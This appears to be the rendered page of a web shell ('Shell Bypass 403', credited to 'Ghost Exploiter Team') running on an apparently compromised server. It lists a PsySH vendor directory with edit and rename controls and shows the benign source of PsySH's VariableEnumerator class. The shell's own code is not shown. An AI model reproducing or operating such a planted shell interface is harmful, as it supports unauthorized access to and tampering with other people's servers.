Shell Bypass 403 GE-C666C

Ghost Exploiter Team Official

Directory >> /var/www/html/back/vendor/psy/psysh/src/Command/ListCommand/

File / Folder	Size	Action
.	-
ClassConstantEnumerator...	3.125KB	edt ren
ClassEnumerator.php	3.798KB	edt ren
ConstantEnumerator.php	4.685KB	edt ren
Enumerator.php	2.655KB	edt ren
FunctionEnumerator.php	3.017KB	edt ren
GlobalVariableEnumerato...	1.994KB	edt ren
MethodEnumerator.php	3.89KB	edt ren
PropertyEnumerator.php	4.895KB	edt ren
VariableEnumerator.php	3.444KB	edt ren

<?php

/*
 * This file is part of Psy Shell.
 *
 * (c) 2012-2025 Justin Hileman
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Psy\Command\ListCommand;

use Psy\Context;
use Psy\VarDumper\Presenter;
use Symfony\Component\Console\Input\InputInterface;

/**
 * Variable Enumerator class.
 */
class VariableEnumerator extends Enumerator
{
    // n.b. this array is the order in which special variables will be listed
    private const SPECIAL_NAMES = [
        '_', '_e', '__out', '__function', '__method', '__class', '__namespace', '__file', '__line', '__dir',
    ];

private $context;

/**
     * Variable Enumerator constructor.
     *
     * Unlike most other enumerators, the Variable Enumerator needs access to
     * the current scope variables, so we need to pass it a Context instance.
     *
     * @param Presenter $presenter
     * @param Context   $context
     */
    public function __construct(Presenter $presenter, Context $context)
    {
        $this->context = $context;
        parent::__construct($presenter);
    }

/**
     * {@inheritdoc}
     */
    protected function listItems(InputInterface $input, ?\Reflector $reflector = null, $target = null): array
    {
        // only list variables when no Reflector is present.
        if ($reflector !== null || $target !== null) {
            return [];
        }

// only list variables if we are specifically asked
        if (!$input->getOption('vars')) {
            return [];
        }

$showAll = $input->getOption('all');
        $variables = $this->prepareVariables($this->getVariables($showAll));

if (empty($variables)) {
            return [];
        }

return [
            'Variables' => $variables,
        ];
    }

/**
     * Get scope variables.
     *
     * @param bool $showAll Include special variables (e.g. $_)
     *
     * @return array
     */
    protected function getVariables(bool $showAll): array
    {
        $scopeVars = $this->context->getAll();
        \uksort($scopeVars, function ($a, $b) {
            $aIndex = \array_search($a, self::SPECIAL_NAMES);
            $bIndex = \array_search($b, self::SPECIAL_NAMES);

if ($aIndex !== false) {
                if ($bIndex !== false) {
                    return $aIndex - $bIndex;
                }

return 1;
            }

if ($bIndex !== false) {
                return -1;
            }

return \strnatcasecmp($a, $b);
        });

$ret = [];
        foreach ($scopeVars as $name => $val) {
            if (!$showAll && \in_array($name, self::SPECIAL_NAMES)) {
                continue;
            }

$ret[$name] = $val;
        }

return $ret;
    }

/**
     * Prepare formatted variable array.
     *
     * @param array $variables
     *
     * @return array
     */
    protected function prepareVariables(array $variables): array
    {
        // My kingdom for a generator.
        $ret = [];
        foreach ($variables as $name => $val) {
            if ($this->showItem($name)) {
                $fname = '$'.$name;
                $ret[$fname] = [
                    'name'  => $fname,
                    'style' => \in_array($name, self::SPECIAL_NAMES) ? self::IS_PRIVATE : self::IS_PUBLIC,
                    'value' => $this->presentRef($val),
                ];
            }
        }

return $ret;
    }
}